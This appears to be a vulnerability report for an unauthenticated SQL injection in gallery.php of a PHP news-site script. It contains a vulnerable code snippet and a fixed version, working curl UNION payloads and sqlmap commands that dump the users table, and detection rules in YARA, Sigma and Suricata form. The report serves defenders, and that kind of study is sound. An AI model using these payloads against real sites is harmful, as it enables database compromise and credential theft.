CVE-2019-25516
Executive Summary
CVE-2019-25516 is a critical unauthenticated SQL injection vulnerability in the Jettweb PHP Hazir Haber Sitesi Scripti V1, a content management system for news websites. The flaw resides in the gallery_id parameter of gallery.php, allowing remote attackers to inject arbitrary SQL commands via UNION-based queries. Successful exploitation leads to full database compromise, including extraction of user credentials, session tokens, and other sensitive data. No official patch has been released, and the vendor appears unresponsive. This vulnerability is actively targeted by automated scanners and poses a severe risk to any instance running this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone PHP application. The risk is amplified by the lack of a patched version, meaning all deployments are permanently vulnerable unless manually hardened.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can be executed by any unskilled attacker using simple HTTP GET requests.
Deep Dive & Mechanics
The vulnerability exists in the gallery.php script, which processes the gallery_id GET parameter without proper sanitization or parameterized queries. The application directly concatenates user input into an SQL query, enabling classic UNION-based SQL injection.
Vulnerable Code Path:
// gallery.php (simplified vulnerable snippet)
$id = $_GET['gallery_id'];
$query = "SELECT * FROM gallery WHERE id = $id";
$result = mysqli_query($conn, $query);
Exploitation Mechanics:
- An attacker sends a GET request to
gallery.php?gallery_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - - The injected UNION clause appends a second SELECT statement, returning attacker-controlled data.
- By iterating column counts and data types, the attacker can extract any data from the database, including admin credentials from the
userstable.
Database Schema (inferred):
gallerytable:id,title,image,description,dateuserstable:id,username,password,email,role
Vulnerable vs. Patched Code
Vulnerable Code (gallery.php):
<?php
$id = $_GET['gallery_id'];
$query = "SELECT * FROM gallery WHERE id = $id";
$result = mysqli_query($conn, $query);
while($row = mysqli_fetch_assoc($result)) {
echo $row['title'] . "<br>";
}
?>
Patched Code (recommended fix):
<?php
$id = intval($_GET['gallery_id']);
$stmt = $conn->prepare("SELECT * FROM gallery WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
while($row = $result->fetch_assoc()) {
echo htmlspecialchars($row['title']) . "<br>";
}
?>
Key Differences:
- Input is cast to integer using
intval()to prevent non-numeric injection. - Prepared statements with parameterized queries eliminate SQL injection entirely.
- Output is HTML-encoded to prevent XSS.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: Jettweb PHP Hazir Haber Sitesi Scripti V1 running on Apache/Nginx with PHP 5.x/7.x and MySQL.
- Attacker: Kali Linux with
sqlmapandcurl.
Exploitation Steps:
Identify the vulnerable parameter:
curl -v "http://target.com/gallery.php?gallery_id=1"Confirm SQL injection with a boolean-based test:
curl "http://target.com/gallery.php?gallery_id=1 AND 1=1" # Normal response curl "http://target.com/gallery.php?gallery_id=1 AND 1=2" # Different responseExtract database version using UNION injection:
curl "http://target.com/gallery.php?gallery_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"Automated exploitation with sqlmap:
sqlmap -u "http://target.com/gallery.php?gallery_id=1" --batch --dbs sqlmap -u "http://target.com/gallery.php?gallery_id=1" -D jettweb --tables sqlmap -u "http://target.com/gallery.php?gallery_id=1" -D jettweb -T users --dump
Exploit-DB Code: None available.
Blue Team (Defensive)
Detection & Response:
- Monitor web server logs for abnormal
gallery_idvalues containing SQL keywords (UNION,SELECT,--,AND,OR). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Implement input validation and prepared statements as shown in the patched code.
Honeypot Strategy:
- Create a fake
gallery.phpendpoint that logs all requests and alerts on suspicious patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/gallery.phpwithgallery_idcontaining SQL syntax (e.g.,UNION,SELECT,--,1=1). - Repeated requests with incremental
gallery_idvalues (e.g.,1,2,3) for column enumeration.
File System IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php) indicating post-exploitation. - Modified
gallery.phpor other PHP files with backdoor code.
Log IOCs:
- Web server access logs showing
gallery_idvalues with URL-encoded SQL characters (%27for single quote,%2D%2Dfor--). - Database query logs showing UNION-based SELECT statements.
Detection Engineering
YARA Rule
rule CVE_2019_25516_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2019-25516 in Jettweb gallery.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25516"
strings:
$sqli1 = "gallery_id=" nocase
$sqli2 = "UNION" nocase
$sqli3 = "SELECT" nocase
$sqli4 = "1=1" nocase
$sqli5 = "--" nocase
condition:
all of ($sqli1, $sqli2, $sqli3) or
all of ($sqli1, $sqli4) or
all of ($sqli1, $sqli5)
}
Sigma Rule
title: CVE-2019-25516 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Jettweb gallery.php via gallery_id parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- "gallery_id="
cs-uri-query|contains|all:
- "UNION"
- "SELECT"
cs-uri-query|contains:
- "1=1"
- "1=2"
- "--"
condition: selection
falsepositives:
- Legitimate use of the word "union" in a gallery title (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25516 SQL Injection Attempt"; flow:to_server,established; content:"gallery.php"; http_uri; content:"gallery_id="; http_uri; pcre:"/(UNION|SELECT|1=1|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application: If possible, take the vulnerable instance offline or behind a VPN.
- Apply virtual patching: Use a WAF (e.g., ModSecurity) with rules to block SQL injection patterns targeting
gallery.php. - Manual code fix: Replace the vulnerable
gallery.phpwith the patched version provided in this report.
Long-Term Recommendations:
- Rewrite the application: Since the vendor is unresponsive, consider migrating to a maintained CMS.
- Input validation: Implement strict type casting and whitelist validation for all user-supplied parameters.
- Prepared statements: Use parameterized queries (PDO or MySQLi prepared statements) for all database interactions.
- Regular security audits: Conduct code reviews and penetration testing for any custom PHP applications.
Patch Status: No official patch exists. The application is permanently vulnerable unless manually hardened.
Valters IT